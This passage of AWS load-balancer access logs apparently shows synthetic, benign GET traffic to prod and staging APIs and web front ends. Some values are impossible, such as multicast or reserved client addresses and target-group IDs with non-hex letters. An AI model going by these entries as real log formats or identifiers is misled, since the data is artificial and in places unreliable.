"10.0.114.171:443" "301" "-" "-" -https 2024-11-01T01:36:31.172969Z prod-api-alb 173.110.234.33:10134 10.0.33.129:443 0.073079 0.102097 0.005868 200 200 244 3431 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce2f-63b48c54d8404222acbfba35" "prod-api-alb.example.com" "-" 4 2024-11-01T01:36:31.172969Z "forward" "-" "-" "10.0.33.129:443" "200" "-" "-" -https 2024-11-01T01:36:33.157957Z prod-web-alb 246.162.31.28:62899 10.0.83.232:443 0.077723 0.404555 0.092754 200 200 765 14136 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce31-b4dc33d409f04908a44e0513" "prod-web-alb.example.com" "-" 7 2024-11-01T01:36:33.157957Z "forward" "-" "-" "10.0.83.232:443" "200" "-" "-" -https 2024-11-01T01:36:34.717755Z staging-alb 158.57.125.63:26888 232.208.141.176:8080 0.008507 0.749598 0.102211 200 200 510 10730 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce32-45669996794640fb9e31df2f" "staging-alb.example.com" "-" 6 2024-11-01T01:36:34.717755Z "forward" "-" "-" "232.208.141.176:8080" "200" "-" "-" -https 2024-11-01T01:36:35.982737Z prod-api-alb 179.45.58.82:28187 10.0.205.82:443 0.013454 0.465956 0.060659 301 301 882 4152 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce33-6aa1a4138ec64529a4ee7016" "prod-api-alb.example.com" "-" 2 2024-11-01T01:36:35.982737Z "forward" "-" "-" "10.0.205.82:443" "301" "-" "-" -https 2024-11-01T01:36:36.254934Z prod-api-alb 181.158.160.11:43695 10.0.53.228:443 0.039432 0.025966 0.032951 302 302 517 12195 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce34-9a57a9a7a24a4d2fb3d419b1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:36:36.254934Z "forward" "-" "-" "10.0.53.228:443" "302" "-" "-" -https 2024-11-01T01:36:37.672554Z prod-web-alb 35.177.231.41:11667 10.0.28.173:443 0.012198 0.337526 0.092477 200 200 673 9861 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce35-d4f22516e29540b2b5a8566c" "-" "-" 8 2024-11-01T01:36:37.672554Z "forward" "-" "-" "10.0.28.173:443" "200" "-" "-" -https 2024-11-01T01:36:38.195931Z prod-api-alb 52.52.165.107:36816 10.0.208.78:443 0.025973 0.126209 0.069984 302 302 405 8392 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce36-ad37caa8114a458aa63fbd5a" "prod-api-alb.example.com" "-" 9 2024-11-01T01:36:38.195931Z "forward" "-" "-" "10.0.208.78:443" "302" "-" "-" -https 2024-11-01T01:36:39.602000Z staging-alb 51.78.43.172:28221 3.103.110.211:8080 0.027826 0.176042 0.123504 302 302 746 13410 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce37-09f1265e73d2495c84a3ffcc" "staging-alb.example.com" "-" 5 2024-11-01T01:36:39.602000Z "forward" "-" "-" "3.103.110.211:8080" "302" "-" "-" -https 2024-11-01T01:36:41.483400Z staging-alb 148.102.76.218:48398 141.6.238.207:8080 0.051175 0.036916 0.084459 200 200 804 5842 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce39-32c241672164467883fa8ce4" "staging-alb.example.com" "-" 3 2024-11-01T01:36:41.483400Z "forward" "-" "-" "141.6.238.207:8080" "200" "-" "-" -https 2024-11-01T01:36:42.494965Z prod-api-alb 132.109.35.61:39780 10.0.179.42:443 0.036996 0.382216 0.008917 200 200 941 1082 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce3a-8345aad837ce4f01abd247db" "prod-api-alb.example.com" "-" 9 2024-11-01T01:36:42.494965Z "forward" "-" "-" "10.0.179.42:443" "200" "-" "-" -https 2024-11-01T01:36:42.772748Z prod-api-alb 35.123.40.52:47773 10.0.91.185:443 0.052306 0.424638 0.049589 301 301 899 10534 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce3a-0b91adb74c3e425d919b7d14" "prod-api-alb.example.com" "-" 3 2024-11-01T01:36:42.772748Z "forward" "-" "-" "10.0.91.185:443" "301" "-" "-" -https 2024-11-01T01:36:44.297187Z staging-alb 192.223.78.185:34747 194.249.253.146:8080 0.119818 0.268760 0.055366 302 302 128 3667 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce3c-e61ddaf535094c77953345f8" "staging-alb.example.com" "-" 7 2024-11-01T01:36:44.297187Z "forward" "-" "-" "194.249.253.146:8080" "302" "-" "-" -https 2024-11-01T01:36:44.985515Z prod-web-alb 152.190.24.254:57103 10.0.33.131:443 0.076191 0.169136 0.007474 200 200 349 6719 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce3c-9b8b8ea93ab842f992e6835d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:44.985515Z "forward" "-" "-" "10.0.33.131:443" "200" "-" "-" -https 2024-11-01T01:36:46.281547Z prod-web-alb 174.71.42.136:43187 10.0.245.211:443 0.083018 0.270909 0.011087 302 302 998 8746 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce3e-32b85c97949c4638a32d2e65" "prod-web-alb.example.com" "-" 7 2024-11-01T01:36:46.281547Z "forward" "-" "-" "10.0.245.211:443" "302" "-" "-" -https 2024-11-01T01:36:46.448389Z prod-web-alb 231.100.55.135:61062 10.0.90.191:443 0.070502 0.417641 0.017453 200 200 517 6468 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce3e-4d23fcaff6f64b9b9cce9f01" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:46.448389Z "forward" "-" "-" "10.0.90.191:443" "200" "-" "-" -http 2024-11-01T01:36:46.743581Z staging-alb 122.65.162.203:25868 251.95.33.244:443 0.102497 0.119477 0.007328 200 200 546 2672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce3e-d5a3fa39a2c044e189d7ba46" "staging-alb.example.com" "-" 3 2024-11-01T01:36:46.743581Z "forward" "-" "-" "251.95.33.244:443" "200" "-" "-" -https 2024-11-01T01:36:48.675764Z prod-api-alb 148.94.143.72:39535 10.0.253.234:443 0.055642 0.364775 0.079123 301 301 344 8767 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce40-56513503e30045b5a2aa7f43" "prod-api-alb.example.com" "-" 5 2024-11-01T01:36:48.675764Z "forward" "-" "-" "10.0.253.234:443" "301" "-" "-" -http 2024-11-01T01:36:50.478822Z staging-alb 185.19.47.52:34646 8.134.22.3:80 0.135303 0.006864 0.077008 404 404 519 10411 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce42-2adbdd7909cd47d681ceef4a" "staging-alb.example.com" "-" 10 2024-11-01T01:36:50.478822Z "forward" "-" "-" "8.134.22.3:80" "404" "-" "-" -https 2024-11-01T01:36:51.827890Z prod-api-alb 167.61.88.46:20671 10.0.163.111:443 0.034922 0.296625 0.052005 404 404 778 14821 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce43-27c6248e3ba44127b1cf7253" "prod-api-alb.example.com" "-" 10 2024-11-01T01:36:51.827890Z "forward" "-" "-" "10.0.163.111:443" "404" "-" "-" -https 2024-11-01T01:36:53.397060Z prod-web-alb 124.18.239.18:45524 10.0.137.222:443 0.085644 0.236884 0.079431 302 302 153 1307 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce45-a0372de148a444ce8d63b8f7" "prod-web-alb.example.com" "-" 1 2024-11-01T01:36:53.397060Z "forward" "-" "-" "10.0.137.222:443" "302" "-" "-" -https 2024-11-01T01:36:54.449564Z prod-web-alb 252.105.107.213:23820 10.0.197.102:443 0.076579 0.111550 0.016132 200 200 65 4028 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce46-fa30693020f54ba38fbfba39" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:54.449564Z "forward" "-" "-" "10.0.197.102:443" "200" "-" "-" -https 2024-11-01T01:36:56.048478Z prod-web-alb 39.187.243.119:59784 10.0.10.40:443 0.004616 0.242532 0.039852 200 200 226 6221 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce48-80b21dcb084d473cb1dbe240" "prod-web-alb.example.com" "-" 10 2024-11-01T01:36:56.048478Z "forward" "-" "-" "10.0.10.40:443" "200" "-" "-" -https 2024-11-01T01:36:57.017107Z prod-api-alb 249.10.152.63:46621 10.0.197.102:443 0.056141 0.051469 0.033472 200 200 560 9581 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce49-04079bdc099b4c478b4a94ad" "prod-api-alb.example.com" "-" 2 2024-11-01T01:36:57.017107Z "forward" "-" "-" "10.0.197.102:443" "200" "-" "-" -https 2024-11-01T01:36:58.306300Z prod-web-alb 207.5.200.187:25989 10.0.216.246:443 0.009967 0.388002 0.074238 200 200 499 7603 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce4a-130ee16ef2f04724a71c92e2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:58.306300Z "forward" "-" "-" "10.0.216.246:443" "200" "-" "-" -https 2024-11-01T01:36:59.853859Z staging-alb 16.58.186.60:14334 73.247.25.23:443 0.104391 0.582026 0.084123 200 200 894 9500 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce4b-8e8f098e12f1494dadd27592" "staging-alb.example.com" "-" 3 2024-11-01T01:36:59.853859Z "forward" "-" "-" "73.247.25.23:443" "200" "-" "-" -https 2024-11-01T01:37:01.230970Z staging-alb 161.40.16.213:19019 169.176.52.252:80 0.002959 0.578847 0.064021 301 301 390 8237 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce4d-0ff34ee8b50946539e2ff737" "staging-alb.example.com" "-" 10 2024-11-01T01:37:01.230970Z "forward" "-" "-" "169.176.52.252:80" "301" "-" "-" -https 2024-11-01T01:37:01.776345Z staging-alb 213.122.195.164:63371 47.69.254.215:80 0.034729 0.541157 0.013477 200 200 461 6148 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce4d-6d0e4f08e7e147b5be93d847" "staging-alb.example.com" "-" 7 2024-11-01T01:37:01.776345Z "forward" "-" "-" "47.69.254.215:80" "200" "-" "-" -https 2024-11-01T01:37:03.434399Z prod-api-alb 136.97.50.247:55678 10.0.126.105:443 0.033751 0.267740 0.080426 404 404 709 10740 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce4f-c483a9146ac94273be284149" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:03.434399Z "forward" "-" "-" "10.0.126.105:443" "404" "-" "-" -https 2024-11-01T01:37:03.592216Z staging-alb 96.59.242.149:22124 26.59.226.188:443 0.029434 0.586968 0.102599 301 301 498 1183 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce4f-76453c9705094743adcbd8c2" "staging-alb.example.com" "-" 8 2024-11-01T01:37:03.592216Z "forward" "-" "-" "26.59.226.188:443" "301" "-" "-" -http 2024-11-01T01:37:05.534746Z staging-alb 174.165.49.118:47195 228.198.27.253:443 0.118337 0.610371 0.114272 200 200 577 2433 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce51-1135b63a32124525903ad480" "staging-alb.example.com" "-" 3 2024-11-01T01:37:05.534746Z "forward" "-" "-" "228.198.27.253:443" "200" "-" "-" -https 2024-11-01T01:37:06.874182Z prod-api-alb 50.92.132.219:35755 10.0.87.66:443 0.098911 0.021980 0.037610 301 301 933 8985 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce52-40cd4c5f59514dda95296cbd" "prod-api-alb.example.com" "-" 6 2024-11-01T01:37:06.874182Z "forward" "-" "-" "10.0.87.66:443" "301" "-" "-" -http 2024-11-01T01:37:08.026507Z staging-alb 109.185.219.227:45342 9.144.214.218:80 0.032593 0.659682 0.050279 200 200 666 13301 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce54-ad4ed357f1d14ebc80594f77" "staging-alb.example.com" "-" 4 2024-11-01T01:37:08.026507Z "forward" "-" "-" "9.144.214.218:80" "200" "-" "-" -https 2024-11-01T01:37:09.554041Z staging-alb 197.74.77.169:64744 123.188.212.129:443 0.143194 0.548226 0.006873 404 404 994 6812 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce55-567ac99c2de1438ead26a40c" "staging-alb.example.com" "-" 5 2024-11-01T01:37:09.554041Z "forward" "-" "-" "123.188.212.129:443" "404" "-" "-" -https 2024-11-01T01:37:10.646307Z prod-web-alb 156.184.20.229:52709 10.0.136.27:443 0.041361 0.314719 0.047902 404 404 153 11978 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce56-acd57d5dc4244bb199eb8732" "prod-web-alb.example.com" "-" 10 2024-11-01T01:37:10.646307Z "forward" "-" "-" "10.0.136.27:443" "404" "-" "-" -https 2024-11-01T01:37:11.625921Z staging-alb 231.187.141.184:51758 196.179.229.221:443 0.102082 0.299536 0.005038 302 302 280 1577 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce57-a70667054b6044328a3838cb" "staging-alb.example.com" "-" 10 2024-11-01T01:37:11.625921Z "forward" "-" "-" "196.179.229.221:443" "302" "-" "-" -https 2024-11-01T01:37:13.495671Z prod-web-alb 189.225.74.235:40156 10.0.120.133:443 0.026945 0.236483 0.067265 200 200 424 9922 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce59-85a5602fbe8e4bedb36cc5b3" "prod-web-alb.example.com" "-" 0 2024-11-01T01:37:13.495671Z "forward" "-" "-" "10.0.120.133:443" "200" "-" "-" -https 2024-11-01T01:37:14.997048Z prod-api-alb 189.70.142.27:63995 10.0.225.168:443 0.045559 0.424673 0.011473 200 200 891 881 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce5a-722c003417fc46fbb5e6086b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:37:14.997048Z "forward" "-" "-" "10.0.225.168:443" "200" "-" "-" -https 2024-11-01T01:37:16.787962Z prod-web-alb 210.5.134.50:18151 10.0.58.212:443 0.081741 0.321073 0.030753 302 302 732 315 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce5c-ee747efa68ef40b3a32a0309" "prod-web-alb.example.com" "-" 7 2024-11-01T01:37:16.787962Z "forward" "-" "-" "10.0.58.212:443" "302" "-" "-" -https 2024-11-01T01:37:17.293328Z staging-alb 206.43.50.247:45698 199.29.215.147:443 0.060906 0.005583 0.083922 200 200 440 8504 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce5d-8e754b4dfa2e4464a43d88e8" "staging-alb.example.com" "-" 8 2024-11-01T01:37:17.293328Z "forward" "-" "-" "199.29.215.147:443" "200" "-" "-" -https 2024-11-01T01:37:18.221430Z prod-web-alb 148.10.232.238:52529 10.0.114.59:443 0.065962 0.145332 0.082518 200 200 859 10700 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce5e-880e8f7c45d44c889f2402cd" "prod-web-alb.example.com" "-" 3 2024-11-01T01:37:18.221430Z "forward" "-" "-" "10.0.114.59:443" "200" "-" "-" -https 2024-11-01T01:37:19.952904Z prod-api-alb 170.171.52.116:42570 10.0.107.165:443 0.095277 0.430760 0.055944 301 301 52 4587 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce5f-fbb76ea8d0864cdbb9ab43c6" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:19.952904Z "forward" "-" "-" "10.0.107.165:443" "301" "-" "-" -https 2024-11-01T01:37:21.388887Z prod-api-alb 253.168.59.35:10191 10.0.86.241:443 0.080302 0.435543 0.078315 200 200 738 11782 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce61-794dfffb20b2484d99a76238" "prod-api-alb.example.com" "-" 10 2024-11-01T01:37:21.388887Z "forward" "-" "-" "10.0.86.241:443" "200" "-" "-" -https 2024-11-01T01:37:22.131215Z prod-api-alb 189.171.215.52:64862 10.0.107.79:443 0.071730 0.494424 0.042187 404 404 6 7999 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce62-b6bc64ec78b34d879abc4971" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:22.131215Z "forward" "-" "-" "10.0.107.79:443" "404" "-" "-" -https 2024-11-01T01:37:23.029320Z prod-api-alb 233.43.148.168:57584 10.0.175.255:443 0.040552 0.197038 0.049477 404 404 937 6757 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce63-32f946a4a2374bdf8cbfe40d" "prod-api-alb.example.com" "-" 8 2024-11-01T01:37:23.029320Z "forward" "-" "-" "10.0.175.255:443" "404" "-" "-" -https 2024-11-01T01:37:24.168223Z staging-alb 181.43.207.252:32226 72.208.10.220:80 0.036282 0.406296 0.093889 404 404 552 5050 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce64-df67c4b0a6124a5a95ba5ffd" "staging-alb.example.com" "-" 1 2024-11-01T01:37:24.168223Z "forward" "-" "-" "72.208.10.220:80" "404" "-" "-" -https 2024-11-01T01:37:24.572915Z prod-api-alb 168.74.231.142:26344 10.0.52.76:443 0.007578 0.087004 0.060659 302 302 759 4336 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce64-25ea8399482243bf833531bf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:37:24.572915Z "forward" "-" "-" "10.0.52.76:443" "302" "-" "-" -https 2024-11-01T01:37:25.585727Z prod-web-alb 242.63.222.85:29630 10.0.6.232:443 0.009065 0.486172 0.038401 200 200 563 12663 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce65-0da1302ed14d43ac940f7f7d" "-" "-" 2 2024-11-01T01:37:25.585727Z "forward" "-" "-" "10.0.6.232:443" "200" "-" "-" -https 2024-11-01T01:37:27.059286Z prod-web-alb 253.5.10.251:17215 10.0.55.90:443 0.089348 0.173677 0.096559 200 200 841 12286 "GET /images/logo.png HTTP/1.1" 